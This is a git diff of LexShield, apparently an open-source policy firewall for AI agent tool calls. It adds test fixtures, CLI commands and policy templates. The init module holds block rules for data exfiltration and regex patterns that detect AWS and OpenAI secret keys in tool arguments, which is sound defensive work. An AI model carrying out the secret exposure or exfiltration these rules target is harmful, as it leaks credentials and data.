+++ b/fixtures/golden/challenge-infra-prod/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: change-window +policy: ../../../packs/change-window/policy.yaml +rules: ../../../packs/change-window/rules.yaml diff --git a/fixtures/golden/challenge-infra-prod/request.json b/fixtures/golden/challenge-infra-prod/request.json new file mode 100644 index 0000000..4e786dd --- /dev/null +++ b/fixtures/golden/challenge-infra-prod/request.json @@ -0,0 +1,19 @@ +{ + "id": "01JFIXTURECHALLENGEINFRA01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "create_resource" + }, + "arguments": { + "resource_type": "load_balancer", + "name": "api-lb-2" + }, + "context": { + "environment": "production" + } +} diff --git a/fixtures/golden/challenge-pii-email/expected.json b/fixtures/golden/challenge-pii-email/expected.json new file mode 100644 index 0000000..110598f --- /dev/null +++ b/fixtures/golden/challenge-pii-email/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "CHALLENGE", + "matchedRuleId": "challenge-pii-email", + "reason": "Sending PII requires approval", + "primaryIntent": "comms.send.email" +} diff --git a/fixtures/golden/challenge-pii-email/policy-ref.yaml b/fixtures/golden/challenge-pii-email/policy-ref.yaml new file mode 100644 index 0000000..31a7aec --- /dev/null +++ b/fixtures/golden/challenge-pii-email/policy-ref.yaml @@ -0,0 +1,3 @@ +pack: pii-guard +policy: ../../../packs/pii-guard/policy.yaml +rules: ../../../packs/pii-guard/rules.yaml diff --git a/fixtures/golden/challenge-pii-email/request.json b/fixtures/golden/challenge-pii-email/request.json new file mode 100644 index 0000000..5253768 --- /dev/null +++ b/fixtures/golden/challenge-pii-email/request.json @@ -0,0 +1,23 @@ +{ + "id": "01JFIXTURECHALLENGEPII01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "send_email" + }, + "arguments": { + "to": "customer@example.com", + "subject": "Account notice", + "body": "Your account details are attached." + }, + "context": { + "environment": "production", + "tags": { + "data_class": "pii" + } + } +} diff --git a/fixtures/golden/priority-wins/expected.json b/fixtures/golden/priority-wins/expected.json new file mode 100644 index 0000000..01b4861 --- /dev/null +++ b/fixtures/golden/priority-wins/expected.json @@ -0,0 +1,6 @@ +{ + "decision": "BLOCK", + "matchedRuleId": "high-priority-block", + "reason": "High priority rule wins", + "primaryIntent": "unknown.unclassified" +} diff --git a/fixtures/golden/priority-wins/policy-ref.yaml b/fixtures/golden/priority-wins/policy-ref.yaml new file mode 100644 index 0000000..893b10c --- /dev/null +++ b/fixtures/golden/priority-wins/policy-ref.yaml @@ -0,0 +1,21 @@ +rules: ../../../packs/baseline-deny/rules.yaml +policy: + version: 1 + id: priority-wins-fixture + name: Priority wins fixture policy + defaultVerdict: ALLOW + rules: + - id: low-priority-allow + name: Low priority allow + priority: 100 + match: + tools: ["test_tool"] + verdict: ALLOW + reason: "Low priority rule" + - id: high-priority-block + name: High priority block + priority: 200 + match: + tools: ["test_tool"] + verdict: BLOCK + reason: "High priority rule wins" diff --git a/fixtures/golden/priority-wins/request.json b/fixtures/golden/priority-wins/request.json new file mode 100644 index 0000000..b2ddc75 --- /dev/null +++ b/fixtures/golden/priority-wins/request.json @@ -0,0 +1,16 @@ +{ + "id": "01JFIXTUREPRIORITYWINS01", + "shieldId": "local", + "timestamp": "2026-07-11T12:00:00.000Z", + "caller": { + "id": "agent-1", + "type": "agent" + }, + "tool": { + "name": "test_tool" + }, + "arguments": {}, + "context": { + "environment": "staging" + } +} diff --git a/package.json b/package.json new file mode 100644 index 0000000..b381d2d --- /dev/null +++ b/package.json @@ -0,0 +1,22 @@ +{ + "name": "lexshield-monorepo", + "version": "0.0.0", + "private": true, + "description": "LexShield — open-source agent intent router and policy firewall", + "license": "MIT", + "author": "LatticeAG", + "repository": { + "type": "git", + "url": "https://github.com/latticeag/lexshield.git" + }, + "scripts": { + "build": "pnpm -r build", + "test": "pnpm -r test", + "lint": "pnpm -r lint", + "typecheck": "pnpm -r typecheck" + }, + "engines": { + "node": ">=20" + }, + "packageManager": "pnpm@9.15.0" +} diff --git a/packages/cli/pyproject.toml b/packages/cli/pyproject.toml new file mode 100644 index 0000000..b697240 --- /dev/null +++ b/packages/cli/pyproject.toml @@ -0,0 +1,26 @@ +[project] +name = "lexshield-cli" +version = "0.1.0" +description = "LexShield CLI — agent intent router and policy firewall" +license = { text = "MIT" } +requires-python = ">=3.11" +authors = [{ name = "LatticeAG" }] +dependencies = [ + "lexshield", + "typer>=0.12", + "rich>=13", + "uvicorn>=0.30", +] + +[project.scripts] +lexshield = "lexshield_cli.main:app" + +[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.hatch.build.targets.wheel] +packages = ["src/lexshield_cli"] + +[tool.uv.sources] +lexshield = { workspace = true } diff --git a/packages/cli/src/lexshield_cli/__init__.py b/packages/cli/src/lexshield_cli/__init__.py new file mode 100644 index 0000000..516b762 --- /dev/null +++ b/packages/cli/src/lexshield_cli/__init__.py @@ -0,0 +1,3 @@ +"""LexShield CLI — Typer entrypoint for local policy firewall operations.""" + +__version__ = "0.1.0" diff --git a/packages/cli/src/lexshield_cli/commands/__init__.py b/packages/cli/src/lexshield_cli/commands/__init__.py new file mode 100644 index 0000000..0322fc4 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/__init__.py @@ -0,0 +1 @@ +"""LexShield CLI command modules.""" diff --git a/packages/cli/src/lexshield_cli/commands/challenge.py b/packages/cli/src/lexshield_cli/commands/challenge.py new file mode 100644 index 0000000..d569404 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/challenge.py @@ -0,0 +1,96 @@ +"""Local challenge queue management (SPEC §9.E challenge).""" + +from __future__ import annotations + +import json +from pathlib import Path + +import typer +from rich.console import Console +from rich.table import Table + +console = Console() + +DEFAULT_CHALLENGES_DIR = Path(".lexshield/challenges") + + +def _list_challenge_files(directory: Path) -> list[Path]: + if not directory.exists(): + return [] + return sorted(directory.glob("*.json")) + + +def list_challenges( + directory: Path = typer.Option( + DEFAULT_CHALLENGES_DIR, + "--dir", + help="Local challenge store directory.", + resolve_path=True, + ), +) -> None: + """List open challenges from the local store.""" + files = _list_challenge_files(directory) + if not files: + console.print(f"[dim]No open challenges in[/dim] {directory}") + raise typer.Exit(code=0) + + table = Table(title="Open challenges") + table.add_column("ID") + table.add_column("Tool") + table.add_column("Reason") + for file_path in files: + try: + data = json.loads(file_path.read_text(encoding="utf-8")) + except json.JSONDecodeError: + continue + table.add_row( + data.get("id", file_path.stem), + data.get("tool", {}).get("name", "?"), + data.get("reason", ""), + ) + console.print(table) + + +def _resolve_challenge( + challenge_id: str, + decision: str, + *, + directory: Path, +) -> None: + target = directory / f"{challenge_id}.json" + if not target.exists(): + console.print(f"[red]Challenge not found:[/red] {challenge_id}") + raise typer.Exit(code=1) + + data = json.loads(target.read_text(encoding="utf-8")) + data["resolution"] = {"decision": decision, "actor": "cli"} + resolved = directory / f"{challenge_id}.resolved.json" + resolved.write_text(json.dumps(data, indent=2) + "\n", encoding="utf-8") + target.unlink() + console.print(f"[green]{decision}[/green] challenge {challenge_id}") + + +def approve_challenge( + challenge_id: str = typer.Argument(help="Challenge id to approve."), + directory: Path = typer.Option( + DEFAULT_CHALLENGES_DIR, + "--dir", + help="Local challenge store directory.", + resolve_path=True, + ), +) -> None: + """Approve a pending challenge.""" + _resolve_challenge(challenge_id, "approve", directory=directory) + + +def deny_challenge( + challenge_id: str = typer.Argument(help="Challenge id to deny."), + directory: Path = typer.Option( + DEFAULT_CHALLENGES_DIR, + "--dir", + help="Local challenge store directory.", + resolve_path=True, + ), +) -> None: + """Deny a pending challenge.""" + _resolve_challenge(challenge_id, "deny", directory=directory) diff --git a/packages/cli/src/lexshield_cli/commands/check.py b/packages/cli/src/lexshield_cli/commands/check.py new file mode 100644 index 0000000..5c88258 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/check.py @@ -0,0 +1,178 @@ +"""Validate config and policy (SPEC §9.E check).""" + +from __future__ import annotations + +from pathlib import Path +from typing import Any + +import typer +import yaml +from rich.console import Console + +from lexshield.errors import LexShieldConfigError +from lexshield.models import VerdictType +from lexshield.policy.loader import load_policy + +console = Console() + + +def _resolve_config_path(config: Path) -> Path: + """Accept a lexshield.yaml path or directory containing it.""" + if config.is_dir(): + candidate = config / "lexshield.yaml" + if candidate.is_file(): + return candidate + raise LexShieldConfigError(f"No lexshield.yaml found in directory: {config}") + return config + + +def _resolve_paths_from_config(config: Path) -> tuple[Path, Path | None]: + """Return policy and optional rules paths relative to config directory.""" + with config.open(encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + + if not isinstance(raw, dict) or "shield" not in raw: + raise LexShieldConfigError("Config must contain a 'shield' section") + + shield_cfg = raw["shield"] + if not isinstance(shield_cfg, dict): + raise LexShieldConfigError("'shield' section must be a mapping") + + base_dir = config.parent + policy_path = base_dir / shield_cfg.get("policy", "./policy.yaml") + rules_path: Path | None = None + for classifier in shield_cfg.get("classifiers", []): + if isinstance(classifier, dict) and classifier.get("type") == "deterministic": + rules_path = base_dir / classifier.get("path", "./rules.yaml") + break + + return policy_path, rules_path + + +def _validate_rules_file(path: Path) -> list[str]: + """Validate rules.yaml exists and has a usable structure.""" + errors: list[str] = [] + if not path.exists(): + errors.append(f"Rules file not found: {path}") + return errors + + with path.open(encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + + if raw is None: + errors.append(f"Rules file is empty: {path}") + return errors + + if not isinstance(raw, dict): + errors.append(f"Rules root must be a mapping: {path}") + return errors + + tool_map = raw.get("tool_map") + patterns = raw.get("patterns") + if tool_map is not None and not isinstance(tool_map, dict): + errors.append(f"Rules 'tool_map' must be a mapping: {path}") + if patterns is not None and not isinstance(patterns, list): + errors.append(f"Rules 'patterns' must be a list: {path}") + + return errors + + +def _collect_intent_refs(policy_data: dict[str, Any]) -> set[str]: + intents: set[str] = set() + for rule in policy_data.get("rules", []): + if not isinstance(rule, dict): + continue + match = rule.get("match", {}) + if isinstance(match, dict): + for intent in match.get("intents", []) or []: + intents.add(str(intent)) + return intents + + +def check( + config: Path = typer.Option( + Path("lexshield.yaml"), + "--config", + "-c", + help="Path to lexshield.yaml or config directory.", + exists=False, + file_okay=True, + dir_okay=True, + resolve_path=True, + ), + policy: Path | None = typer.Option( + None, + "--policy", + help="Policy file path (overrides config).", + exists=True, + dir_okay=False, + resolve_path=True, + ), + rules: Path | None = typer.Option( + None, + "--rules", + help="Rules file path (overrides config).", + exists=True, + dir_okay=False, + resolve_path=True, + ), + strict: bool = typer.Option(False, "--strict", help="Reject unknown fields and warnings."), +) -> None: + """Validate config + policy + taxonomy; exit non-zero on errors.""" + errors: list[str] = [] + warnings: list[str] = [] + + try: + config_path = _resolve_config_path(config) if config.exists() else config + + if policy is not None: + policy_path = policy + rules_path = rules + elif config_path.exists(): + policy_path, rules_path = _resolve_paths_from_config(config_path) + if rules is not None: + rules_path = rules + else: + console.print( + "[red]error[/red]: provide --policy or an existing --config lexshield.yaml" + ) + raise typer.Exit(code=1) + + loaded = load_policy(policy_path, strict=strict) + rule_count = len(loaded.policy.rules) + + if rules_path is None: + warnings.append("No deterministic classifier rules path in config") + else: + errors.extend(_validate_rules_file(rules_path)) + + if loaded.policy.default_verdict == VerdictType.ALLOW: + warnings.append( + "defaultVerdict is ALLOW; default deny (BLOCK) is recommended for production" + ) + + with policy_path.open(encoding="utf-8") as handle: + policy_raw = yaml.safe_load(handle) + intent_refs = _collect_intent_refs(policy_raw if isinstance(policy_raw, dict) else {}) + + console.print(f"[green]OK[/green] policy={policy_path}") + console.print(f" rules: {rule_count} policy rule(s)") + if rules_path is not None and rules_path.exists(): + console.print(f" rules.yaml: {rules_path}") + if intent_refs: + console.print(f" intent refs: {', '.join(sorted(intent_refs))}") + + for warning in warnings: + console.print(f"[yellow]warning[/yellow]: {warning}") + + if errors: + for error in errors: + console.print(f"[red]error[/red]: {error}") + raise typer.Exit(code=1) + + if strict and warnings: + raise typer.Exit(code=1) + + except LexShieldConfigError as exc: + console.print(f"[red]error[/red]: {exc}") + raise typer.Exit(code=1) from exc diff --git a/packages/cli/src/lexshield_cli/commands/evaluate.py b/packages/cli/src/lexshield_cli/commands/evaluate.py new file mode 100644 index 0000000..1e1f698 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/evaluate.py @@ -0,0 +1,215 @@ +"""Offline tool-call evaluation (SPEC §9.E evaluate).""" + +from __future__ import annotations + +import asyncio +import json +import sys +from pathlib import Path +from typing import Any + +import typer +import yaml +from rich.console import Console +from rich.table import Table + +from lexshield.errors import LexShieldConfigError +from lexshield.models import ToolCallRequest, Verdict +from lexshield.shield import Shield + +console = Console() + + +def _resolve_config_path(config: Path) -> Path: + """Accept a lexshield.yaml path or directory containing it.""" + if config.is_dir(): + candidate = config / "lexshield.yaml" + if candidate.is_file(): + return candidate + raise LexShieldConfigError(f"No lexshield.yaml found in directory: {config}") + return config + + +def _resolve_rules_path(config: Path) -> Path | None: + with config.open(encoding="utf-8") as handle: + raw = yaml.safe_load(handle) + + if not isinstance(raw, dict): + return None + + shield_cfg = raw.get("shield", {}) + if not isinstance(shield_cfg, dict): + return None + + base_dir = config.parent + for classifier in shield_cfg.get("classifiers", []): + if isinstance(classifier, dict) and classifier.get("type") == "deterministic": + return base_dir / classifier.get("path", "./rules.yaml") + return None + + +def _load_shield( + *, + config: Path, + policy: Path | None, + rules: Path | None, +) -> Shield: + if policy is not None: + rules_path = rules + if rules_path is None and config.exists(): + rules_path = _resolve_rules_path(config) + return Shield( + shield_id="cli", + name="cli-evaluate", + policy_path=policy, + rules_path=rules_path, + ) + + if not config.exists(): + raise LexShieldConfigError( + f"Config file not found: {config} (use --policy or create config with lexshield init)" + ) + + if rules is not None: + base = Shield.from_config(config) + return Shield( + shield_id=base.shield_id, + name=base.name, + policy_path=base.policy_path, + rules_path=rules, + trace_sink_path=base.trace_sink.path if base.trace_sink else None, + ) + + return Shield.from_config(config) + + +def _print_verdict_table(verdict: Verdict) -> None: + table = Table(title="Verdict", show_header=True, header_style="bold") + table.add_column("Field", style="dim") + table.add_column("Value") + + table.add_row("decision", verdict.decision.value) + table.add_row("reason", verdict.reason) + table.add_row("requestId", verdict.request_id) + table.add_row( + "matchedRuleId", + verdict.matched_rule_id if verdict.matched_rule_id else "—", + ) + if verdict.policy_version: + table.add_row("policyVersion", verdict.policy_version) + table.add_row("durationMs", f"{verdict.duration_ms:.2f}") + + if verdict.classifications: + primary = verdict.classifications[0] + table.add_row("intent", primary.intent) + table.add_row("confidence", f"{primary.confidence:.2f}") + table.add_row("classifier", primary.classifier) + + console.print(table) + + +async def _evaluate_request( + shield: Shield, + *, + tool: str, + arguments: dict[str, Any], + caller: str | None, + request_id: str | None = None, + context: dict[str, Any] | None = None, +) -> Verdict: + caller_payload: dict[str, Any] = {"id": caller or "anonymous", "type": "agent"} + return await shield.evaluate( + tool=tool, + arguments=arguments, + caller=caller_payload, + context=context, + request_id=request_id, + ) + + +def evaluate( + tool: str | None = typer.Option(None, "--tool", help="Tool name to evaluate."), + args: str = typer.Option("{}", "--args", help="Tool arguments as JSON."), + caller: str | None = typer.Option(None, "--caller", help="Caller id."), + config: Path = typer.Option( + Path("lexshield.yaml"), + "--config", + "-c", + help="Path to lexshield.yaml or config directory.", + exists=False, + file_okay=True, + dir_okay=True, + resolve_path=True, + ), + policy: Path | None = typer.Option( + None, + "--policy", + help="Policy file path (overrides config).", + exists=True, + dir_okay=False, + resolve_path=True, + ), + rules: Path | None = typer.Option( + None, + "--rules", + help="Rules file path (overrides config).", + exists=True, + dir_okay=False, + resolve_path=True, + ), + json_output: bool = typer.Option(False, "--json", help="Emit machine-readable verdict JSON."), + stdin: bool = typer.Option(False, "--stdin", help="Read ToolCallRequest JSON from stdin."), +) -> None: + """Evaluate a tool call against loaded policy (offline).""" + try: + config_path = _resolve_config_path(config) + shield = _load_shield(config=config_path, policy=policy, rules=rules) + except LexShieldConfigError as exc: + console.print(f"[red]Config error:[/red] {exc}") + raise typer.Exit(code=1) from exc + + if stdin: + payload: dict[str, Any] = json.load(sys.stdin) + try: + request = ToolCallRequest.model_validate(payload) + except Exception as exc: + console.print(f"[red]Invalid stdin ToolCallRequest:[/red] {exc}") + raise typer.Exit(code=1) from exc + + verdict = asyncio.run( + shield.evaluate( + tool=request.tool.name, + arguments=request.arguments, + caller=request.caller, + context=request.context, + request_id=request.id, + ) + ) + elif tool is None: + console.print("[red]Provide --tool or --stdin[/red]") + raise typer.Exit(code=1) + else: + try: + arguments = json.loads(args) + except json.JSONDecodeError as exc: + console.print(f"[red]Invalid --args JSON:[/red] {exc}") + raise typer.Exit(code=1) from exc + if not isinstance(arguments, dict): + console.print("[red]--args must be a JSON object[/red]") + raise typer.Exit(code=1) + + verdict = asyncio.run( + _evaluate_request( + shield, + tool=tool, + arguments=arguments, + caller=caller, + ) + ) + + if json_output: + console.print_json(data=verdict.model_dump(by_alias=True, mode="json")) + else: + _print_verdict_table(verdict) + + raise typer.Exit(code=0) diff --git a/packages/cli/src/lexshield_cli/commands/init.py b/packages/cli/src/lexshield_cli/commands/init.py new file mode 100644 index 0000000..be6d274 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/init.py @@ -0,0 +1,233 @@ +"""Scaffold lexshield.yaml, policy.yaml, and rules.yaml (SPEC §9.E init).""" + +from __future__ import annotations + +from pathlib import Path +from typing import Literal + +import typer +from rich.console import Console + +console = Console() + +PackName = Literal["baseline-deny", "pii-guard", "change-window"] + +LEXSHIELD_YAML = """\ +version: 1 +shield: + id: local + name: local-shield + policy: ./policy.yaml + classifiers: + - type: deterministic + path: ./rules.yaml + fail_on_classifier_error: BLOCK + sinks: + - type: stdout + - type: file + path: ./traces.ndjson +server: + host: 127.0.0.1 + port: 8787 + token_env: LEXSHIELD_LOCAL_TOKEN +""" + +RULES_YAML = """\ +version: 1 +tool_map: + health_check: network.request.health + ping: network.request.health + send_email: comms.send.email + send_slack: comms.send.slack + http_request: network.request.http + execute_sql: data.query.sql + delete_resource: infra.delete.resource + create_resource: infra.provision.resource + update_resource: infra.mutate.resource + create_charge: finance.charge.create + transfer_funds: finance.transfer.create + run_shell: code.execute.shell + write_file: code.write.repo +patterns: + - name: aws_access_key + match: + any_arg_regex: "AKIA[0-9A-Z]{16}" + intent: security.secret_exposure + confidence: 0.98 + - name: openai_sk + match: + any_arg_regex: "sk-(proj-)?[a-zA-Z0-9]{20,}" + intent: security.secret_exposure + confidence: 0.98 +""" + +POLICY_TEMPLATES: dict[PackName, str] = { + "baseline-deny": """\ +version: 1 +id: baseline-deny +name: Baseline default deny +description: Default deny with safe health and metrics allowlist. +defaultVerdict: BLOCK +rules: + - id: allow-health + name: Allow health checks + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: block-secret-exposure + name: Block secret exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + name: Block exfiltration + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" +""", + "pii-guard": """\ +version: 1 +id: pii-guard +name: PII egress guard +description: Extends baseline; challenges external comms when tagged pii; blocks non-allowlisted HTTP. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: challenge-pii-email + priority: 220 + match: + intents: ["comms.send.email", "comms.send.external"] + tags: + data_class: ["pii"] + verdict: CHALLENGE + reason: "Sending PII requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-http-non-allowlist + priority: 250 + match: + intents: ["network.request.http"] + expression: '!(args.url startsWith "https://api.mycompany.com/")' + verdict: BLOCK + reason: "HTTP to non-allowlisted host" + + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" + + - id: block-exfil + priority: 300 + match: + intents: ["data.exfiltrate"] + verdict: BLOCK + reason: "Possible data exfiltration" +""", + "change-window": """\ +version: 1 +id: change-window +name: Infra change window +description: Infra mutate/provision in production requires change_ticket tag; otherwise challenge. +defaultVerdict: BLOCK +rules: + - id: allow-health + priority: 100 + match: + tools: ["health_check", "ping"] + intents: ["network.request.health"] + verdict: ALLOW + reason: "Health checks are always allowed" + + - id: allow-infra-with-ticket + priority: 180 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource"] + expression: 'tags.change_ticket != ""' + verdict: ALLOW + reason: "Change ticket present" + + - id: challenge-infra-prod + priority: 200 + match: + environments: ["production"] + intents: ["infra.mutate.resource", "infra.provision.resource", "infra.delete.resource"] + verdict: CHALLENGE + reason: "Production infra change requires approval" + challenge: + channel: stdout + timeoutSeconds: 3600 + onTimeout: BLOCK + + - id: block-secret-exposure + priority: 300 + match: + intents: ["security.secret_exposure"] + verdict: BLOCK + reason: "Possible secret exposure in tool arguments" +""", +} + +GITIGNORE_ENTRIES = """\ +# LexShield local artifacts +traces.ndjson +.lexshield/ +""" + + +def _write_file(path: Path, content: str, *, force: bool) -> None: + if path.exists() and not force: + console.print(f"[yellow]skip[/yellow] {path} (already exists)") + return + path.write_text(content, encoding="utf-8") + console.print(f"[green]wrote[/green] {path}") + + +def _ensure_gitignore(cwd: Path) -> None: + gitignore = cwd / ".gitignore" + if gitignore.exists(): + existing = gitignore.read_text(encoding="utf-8") + if "traces.ndjson" in existing and ".lexshield/" in existing: + return + gitignore.write_text(existing.rstrip() + "\n\n" + GITIGNORE_ENTRIES, encoding="utf-8") + else: + gitignore.write_text(GITIGNORE_ENTRIES.strip() + "\n", encoding="utf-8") + console.print(f"[green]updated[/green] {gitignore}") + + +def init( + pack: PackName = typer.Option( + "baseline-deny", + "--pack", + help="Policy pack template to write as policy.yaml.", + ), + force: bool = typer.Option(False, "--force", help="Overwrite existing files."), +) -> None: + """Write lexshield.yaml, policy.yaml, rules.yaml, and .gitignore entries.""" + cwd = Path.cwd() + _write_file(cwd / "lexshield.yaml", LEXSHIELD_YAML, force=force) + _write_file(cwd / "rules.yaml", RULES_YAML, force=force) + _write_file(cwd / "policy.yaml", POLICY_TEMPLATES[pack], force=force) + _ensure_gitignore(cwd) + console.print(f"[bold green]LexShield initialized[/bold green] (pack: {pack})") diff --git a/packages/cli/src/lexshield_cli/commands/packs.py b/packages/cli/src/lexshield_cli/commands/packs.py new file mode 100644 index 0000000..0da11ac --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/packs.py @@ -0,0 +1,113 @@ +"""Built-in policy pack discovery and apply (SPEC §9.E packs).""" + +from __future__ import annotations + +import shutil +from pathlib import Path + +import typer +from rich.console import Console +from rich.table import Table + +console = Console() + +PACK_NAMES = ("baseline-deny", "pii-guard", "change-window") + + +def _find_packs_root() -> Path | None: + """Locate packs/ with baseline-deny/policy.yaml (repo or cwd).""" + for start in [Path.cwd(), *Path.cwd().parents]: + packs = start / "packs" + if (packs / "baseline-deny" / "policy.yaml").is_file(): + return packs + workspace = Path("/workspace/packs") + if (workspace / "baseline-deny" / "policy.yaml").is_file(): + return workspace + return None + + +def _pack_dir(name: str) -> Path | None: + root = _find_packs_root() + if root is None: + return None + directory = root / name + if (directory / "policy.yaml").is_file(): + return directory + return None + + +def list_packs() -> None: + """List available policy packs.""" + root = _find_packs_root() + table = Table(title="Policy packs") + table.add_column("Name") + table.add_column("Policy") + table.add_column("Rules") + table.add_column("Status") + + for name in PACK_NAMES: + pack_dir = _pack_dir(name) if root else None + if pack_dir is not None: + policy = pack_dir / "policy.yaml" + rules = pack_dir / "rules.yaml" + rules_status = "[green]yes[/green]" if rules.exists() else "[yellow]missing[/yellow]" + table.add_row(name, str(policy), rules_status, "[green]available[/green]") + elif root is not None: + table.add_row( + name, + str(root / name / "policy.yaml"), + "—", + "[yellow]missing[/yellow]", + ) + else: + table.add_row(name, f"packs/{name}/policy.yaml", "—", "[dim]packs/ not found[/dim]") + + console.print(table) + + +def apply_pack( + name: str = typer.Argument(help="Pack name (baseline-deny, pii-guard, change-window)."), + output: Path = typer.Option( + Path("policy.yaml"), + "--output", + "-o", + help="Destination policy file.", + resolve_path=True, + ), + rules_output: Path | None = typer.Option( + None, + "--rules-output", + help="Also copy rules.yaml to this path (default: ./rules.yaml when pack has rules).", + ), + force: bool = typer.Option(False, "--force", help="Overwrite existing output files."), +) -> None: + """Copy a pack policy (and optional rules) into the current directory.""" + if name not in PACK_NAMES: + console.print(f"[red]Unknown pack:[/red] {name}") + raise typer.Exit(code=1) + + pack_dir = _pack_dir(name) + if pack_dir is None: + root = _find_packs_root() + if root is None: + console.print("[yellow]packs/ not found[/yellow]; run from repo root or set up packs/") + else: + console.print(f"[red]Pack missing:[/red] {root / name / 'policy.yaml'}") + raise typer.Exit(code=1) + + policy_src = pack_dir / "policy.yaml" + if output.exists() and not force: + console.print(f"[red]Refusing to overwrite[/red] {output} (use --force)") + raise typer.Exit(code=1) + + shutil.copy2(policy_src, output) + console.print(f"[green]applied[/green] {name} policy → {output}") + + rules_src = pack_dir / "rules.yaml" + if rules_src.is_file(): + dest_rules = rules_output or Path("rules.yaml") + if dest_rules.exists() and not force: + console.print(f"[yellow]skip[/yellow] rules (exists: {dest_rules})") + else: + shutil.copy2(rules_src, dest_rules, follow_symlinks=True) + console.print(f"[green]applied[/green] {name} rules → {dest_rules}") diff --git a/packages/cli/src/lexshield_cli/commands/run.py b/packages/cli/src/lexshield_cli/commands/run.py new file mode 100644 index 0000000..b7f0498 --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/run.py @@ -0,0 +1,41 @@ +"""Start local LexShield API server (SPEC §9.E run).""" + +from __future__ import annotations + +import typer +from rich.console import Console + +console = Console() + + +def run( + host: str = typer.Option("127.0.0.1", "--host", help="Bind host."), + port: int = typer.Option(8787, "--port", help="Bind port."), + i_understand_bind_all: bool = typer.Option( + False, + "--i-understand-bind-all", + help="Allow binding to 0.0.0.0 (insecure on shared networks).", + ), +) -> None: + """Start the local API via uvicorn (lexshield.server.app).""" + if host == "0.0.0.0" and not i_understand_bind_all: + console.print( + "[red]Refusing to bind 0.0.0.0[/red] without --i-understand-bind-all " + "(SPEC §9.E: localhost by default)." + ) + raise typer.Exit(code=1) + + try: + import uvicorn + except ImportError as exc: + console.print(f"[red]uvicorn is required:[/red] {exc}") + raise typer.Exit(code=1) from exc + + console.print(f"[green]Starting LexShield API[/green] at http://{host}:{port}") + uvicorn.run( + "lexshield.server.app:app", + host=host, + port=port, + reload=False, + log_level="info", + ) diff --git a/packages/cli/src/lexshield_cli/commands/traces.py b/packages/cli/src/lexshield_cli/commands/traces.py new file mode 100644 index 0000000..3ef942c --- /dev/null +++ b/packages/cli/src/lexshield_cli/commands/traces.py @@ -0,0 +1,81 @@ +"""Local NDJSON trace queries (SPEC §9.E traces).""" + +from __future__ import annotations + +import json +from pathlib import Path + +import typer +from rich.console import Console + +console = Console() + +DEFAULT_TRACE_PATH = Path("traces.ndjson") + + +def _iter_traces(path: Path): + if not path.exists(): + return + with path.open(encoding="utf-8") as handle: + for line in handle: + line = line.strip() + if not line: + continue + try: + yield json.loads(line) + except json.JSONDecodeError: + continue + + +def list_traces( + decision: str | None = typer.Option(None, "--decision", help="Filter by verdict decision."), + limit: int = typer.Option(50, "--limit", help="Maximum traces to show."), + path: Path = typer.Option( + DEFAULT_TRACE_PATH, + "--path", + help="NDJSON trace file path.", + resolve_path=True, + ), +) -> None: + """List traces from local NDJSON sink.""" + if not path.exists(): + console.print(f"[yellow]No traces at[/yellow] {path}") + raise typer.Exit(code=0) + + shown = 0 + for event in _iter_traces(path): + verdict = event.get("verdict", {}) + if decision and verdict.get("decision") != decision: + continue + request_id = event.get("id") or event.get("request", {}).get("id", "?") + console.print(f"{request_id} {verdict.get('decision', '?')} {verdict.get('reason', '')}") + shown += 1 + if shown >= limit: + break + + if shown == 0: + console.print("[dim]No matching traces[/dim]") + + +def show_trace( + request_id: str = typer.Argument(help="Trace / request id to display."), + path: Path = typer.Option( + DEFAULT_TRACE_PATH, + "--path", + help="NDJSON trace file path.", + resolve_path=True, + ), +) -> None: + """Show a single trace event.""" + if not path.exists(): + console.print(f"[red]Trace file not found:[/red] {path}") + raise typer.Exit(code=1) + + for event in _iter_traces(path): + event_id = event.get("id") or event.get("request", {}).get("id") + if event_id == request_id: + console.print_json(data=event) + raise typer.Exit(code=0) + + console.print(f"[red]Trace not found:[/red] {request_id}") + raise typer.Exit(code=1) diff --git a/packages/cli/src/lexshield_cli/main.py b/packages/cli/src/lexshield_cli/main.py new file mode 100644 index 0000000..c171b69 --- /dev/null +++ b/packages/cli/src/lexshield_cli/main.py @@ -0,0 +1,66 @@ +"""LexShield CLI entrypoint (SPEC §9 / §16).""" + +from __future__ import annotations + +import typer + +from lexshield_cli.commands import challenge, check, evaluate, init, packs, run, traces + +app = typer.Typer( + name="lexshield", + help="LexShield — open-source policy firewall for agent tool calls.", + no_args_is_help=True, +) + +app.command()(init.init) +app.command()(check.check) +app.command()(run.run) +app.command()(evaluate.evaluate) + +traces_app = typer.Typer(help="Query local NDJSON traces.") +traces_app.command("list")(traces.list_traces) +traces_app.command("show")(traces.show_trace) +app.add_typer(traces_app, name="traces") + +challenge_app = typer.Typer(help="Manage local human-in-the-loop challenges.") +challenge_app.command("list")(challenge.list_challenges) +challenge_app.command("approve")(challenge.approve_challenge) +challenge_app.command("deny")(challenge.deny_challenge) +app.add_typer(challenge_app, name="challenge") + 